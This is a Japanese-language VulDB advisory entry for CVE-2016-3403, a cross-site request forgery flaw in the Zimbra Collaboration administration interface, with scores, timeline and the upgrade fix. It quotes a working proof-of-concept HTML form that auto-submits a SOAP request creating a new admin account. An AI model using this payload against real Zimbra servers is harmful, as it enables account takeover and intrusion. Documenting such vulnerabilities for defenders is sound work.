VDB-95285 · CVE-2016-3403 · BID 95383

Synacor Zimbra Collaboration 迄 8.6 Administration Interface クロスサイトリクエストフォージェリ

CVSS 一時的なメタスコア	現在のエクスプロイト価格 (≈)	CTI注目指数
6.3	$0-$5k	0.00

要約情報

Synacor Zimbra Collaboration 迄 8.6内に問題があるとして分類された脆弱性が発見されました。影響を受けるのは、コンポーネント【Administration Interface】の未知の関数です。この操作は、クロスサイトリクエストフォージェリを引き起こします。この脆弱性は CVE-2016-3403 として扱われます。攻撃はリモートで開始される場合があります。さらに、悪用手段が存在します。影響を受けているコンポーネントのアップグレードを推奨します。

詳細情報

Synacor Zimbra Collaboration 迄 8.6内に問題があるとして分類された脆弱性が発見されました。影響を受けるのは、コンポーネント【Administration Interface】の未知の関数です。この操作は、クロスサイトリクエストフォージェリを引き起こします。 CWEを使用して問題を宣言すると、CWE-352 につながります。バグが発見されたのは2017年01月11日です。この弱点は発表されました 2017年01月11日 Anthony Laou-Hine Tsueiによって（Sysdream Labsとともに） [CVE-2016-3403] [Zimbra] Multiple CSRF in Administration interface - all versionsとして Mailinglist Postとして（Full-Disclosure）。アドバイザリーは seclists.org から入手可能です。一般公開はベンダーとの協力で行われています。

この脆弱性は CVE-2016-3403 として扱われます。 CVEの割り当ては2016年03月17日に行われました。攻撃はリモートで開始される場合があります。技術的な詳細は利用できません。この脆弱性の普及度は平均未満です。さらに、悪用手段が存在します。このエクスプロイトは一般に公開されており、利用される恐れがあります。エクスプロイトツールの現在の価格はおそらく米ドルで約$0-$5kです。アドバイザリは以下の内容を示しています：

Multiple CSRF vulnerabilities have been found in the administration interface of Zimbra, giving possibilities like adding, modifying and removing admin accounts.

概念実証として宣言されています。エクスプロイトツールは seclists.org から入手可能です。この脆弱性は少なくとも322日間、非公開のゼロデイ脆弱性として扱われていました。 0dayにはおよそ $0-$5k の価値があったと予想しています。エクスプロイトで使用されたコードは次のとおりです：

<html>
<body>
<form enctype="text/plain" id="trololo"
action="https://192.168.0.171:7071/service/admin/soap/CreateAccountRequest";
method="POST">
    <input name='<soap:Envelope
xmlns:soap="http://www.w3.org/2003/05/soap-envelope";><soap:Header><context
xmlns="urn:zimbra"><userAgent xmlns="" name="DTC"/><session xmlns=""
id="1337"/><format xmlns=""
type="js"/></context></soap:Header><soap:Body><CreateAccountRequest
xmlns="urn:zimbraAdmin"><name xmlns="">itworks () ubuntu fr</name><password
xmlns="">test1234</password><a xmlns=""
n="zimbraAccountStatus">active</a><a xmlns=""
n="displayName">ItWorks</a><a xmlns="" n'
        value='"sn">itworks</a><a xmlns=""
n="zimbraIsAdminAccount">TRUE</a></CreateAccountRequest></soap:Body></soap:Envelope>'/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

】のプラグインを提供しています。

この問題は、8.7へのアップグレードによって解決可能です。影響を受けているコンポーネントのアップグレードを推奨します。

この脆弱性は他の脆弱性データベースにも記載されています: SecurityFocus (BID 95383).

製品情報

タイプ

Groupware Software

ベンダー

Synacor

名前

Zimbra Collaboration

バージョン

ライセンス

無償

ウェブサイト

ベンダー: https://synacor.com/

CPE 2.3情報

CPE 2.2情報

CVSSv4情報

VulDB ベクトル: 🔍
VulDB 信頼性: 🔍

CVSSv3情報

VulDB ベースメタスコア: 6.6
VulDB 一時的なメタスコア: 6.4

VulDB ベーススコア: 4.3
VulDB 一時的なスコア: 3.9
VulDB ベクトル: 🔍
VulDB 信頼性: 🔍

NVD ベーススコア: 8.8
NVD ベクトル: 🔍

CVSSv2情報

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

ベクトル	複雑さ	認証	機密性	完全性	可用性
解除	解除	解除	解除	解除	解除
解除	解除	解除	解除	解除	解除
解除	解除	解除	解除	解除	解除

VulDB ベーススコア: 🔍
VulDB 一時的なスコア: 🔍
VulDB 信頼性: 🔍

NVD ベーススコア: 🔍

悪用情報

クラス: クロスサイトリクエストフォージェリ
CWE: CWE-352 / CWE-862 / CWE-863
CAPEC: 🔍
ATT&CK: 🔍

物理的: いいえ
ローカル: いいえ
リモート: はい

可用性: 🔍
アクセス: パブリック
ステータス: 概念実証
著者: Anthony Laou-Hine Tsuei
プログラミング言語: 🔍
ダウンロード: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

価格予測: 🔍
現在の価格評価: 🔍

0-Day	解除	解除	解除	解除
本日	解除	解除	解除	解除

脅威インテリジェンス情報

関心: 🔍
アクティブアクター: 🔍
アクティブなAPTグループ: 🔍

対策情報

推奨: アップグレード
ステータス: 🔍

0day日時: 🔍
エクスプロイト遅延時間: 🔍

アップグレード: Zimbra Collaboration 8.7

タイムライン情報

2016年02月24日 🔍
2016年02月24日 +0 日 🔍
2016年03月17日 +22 日 🔍
2017年01月11日 +300 日 🔍
2017年01月11日 +0 日 🔍
2017年01月11日 +0 日 🔍
2017年01月11日 +0 日 🔍
2017年01月13日 +2 日 🔍
2017年05月17日 +124 日 🔍
2022年10月28日 +1990 日 🔍

ソース情報

ベンダー: synacor.com

勧告: [CVE-2016-3403] [Zimbra] Multiple CSRF in Administration interface - all versions
調査者: Anthony Laou-Hine Tsuei
組織: Sysdream Labs
ステータス: 確認済み
確認: 🔍
調整済み: 🔍

CVE: CVE-2016-3403 (🔍)
GCVE (CVE): GCVE-0-2016-3403
GCVE (VulDB): GCVE-100-95285
SecurityFocus: 95383 - Zimbra CVE-2016-3403 Multiple Cross Site Request Forgery Vulnerabilities

scip Labs: https://www.scip.ch/en/?labs.20161013

エントリ情報

作成済み: 2017年01月13日 12:13
更新済み: 2022年10月28日 15:00
変更: 2017年01月13日 12:13 (76), 2020年02月03日 17:44 (4), 2022年10月28日 15:00 (3)
完了: 🔍
Cache ID: 216::103

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

討論

コメントはまだありません。言語: ja + en.

コメントするにはログインしてください。

◂ 前概要次 ▸

Want to know what is going to be exploited?

We predict KEV entries!